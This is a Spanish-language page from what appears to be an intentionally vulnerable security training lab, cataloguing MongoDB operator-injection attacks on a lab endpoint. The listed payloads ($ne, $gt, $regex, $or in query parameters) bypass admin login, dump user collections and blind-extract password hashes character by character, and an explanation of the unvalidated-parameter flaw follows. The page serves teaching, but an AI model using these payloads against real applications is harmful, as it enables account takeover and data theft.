Inyección de operadores MongoDB ($ne, $gt, $regex) en parámetros de consulta para bypassear autenticación y extraer datos arbitrarios
Descripción de ataques y endpoints disponibles
/api/lab/nosqlpassword={"$ne":"wrong"} — cualquier password != 'wrong' → acceso como admin
/api/lab/nosql?username=admin&password={"$ne":"wrong"}password={"$gt":""} — password mayor que cadena vacía es siempre verdadero
/api/lab/nosql?username=admin&password={"$gt":""}Combinar regex en username con $ne en password para acceder con cualquier usuario
/api/lab/nosql?username={"$regex":".*"}&password={"$ne":""}Listar usuarios cuyo nombre comienza por 'a' usando $regex blind character-by-character
/api/lab/nosql?username={"$regex":"^a"}&password={"$ne":""}Obtener todos los usuarios activos usando operador en campo 'active'
/api/lab/nosql?filter={"active":true}Filtro {role:{$ne:"impossible"}} devuelve todos los documentos de la colección
/api/lab/nosql?filter={"role":{"$ne":"impossible"}}Inyectar condición $or para extraer usuarios por múltiples criterios
/api/lab/nosql?filter={"$or":[{"role":"admin"},{"active":true}]}Técnica de extracción blind: password={"$regex":"^s"} para confirmar primer carácter del hash
/api/lab/nosql?username=admin&password={"$regex":"^s"}MongoDB y otras bases de datos NoSQL permiten usar operadores especiales ($ne, $gt, $gte, $regex, $where, $or) dentro de las queries. Si la aplicación pasa los parámetros HTTP directamente al driver sin validar su tipo, un atacante puede inyectar objetos JSON con operadores en lugar de strings, bypasseando comparaciones de contraseña. Con $regex puede enumerar registros carácter a carácter (blind NoSQL). OWASP A03:2021 — CVSS 9.8.
Esta aplicación es vulnerable por diseño - Solo para propósitos educativos
© 2025 Aitana Security Lab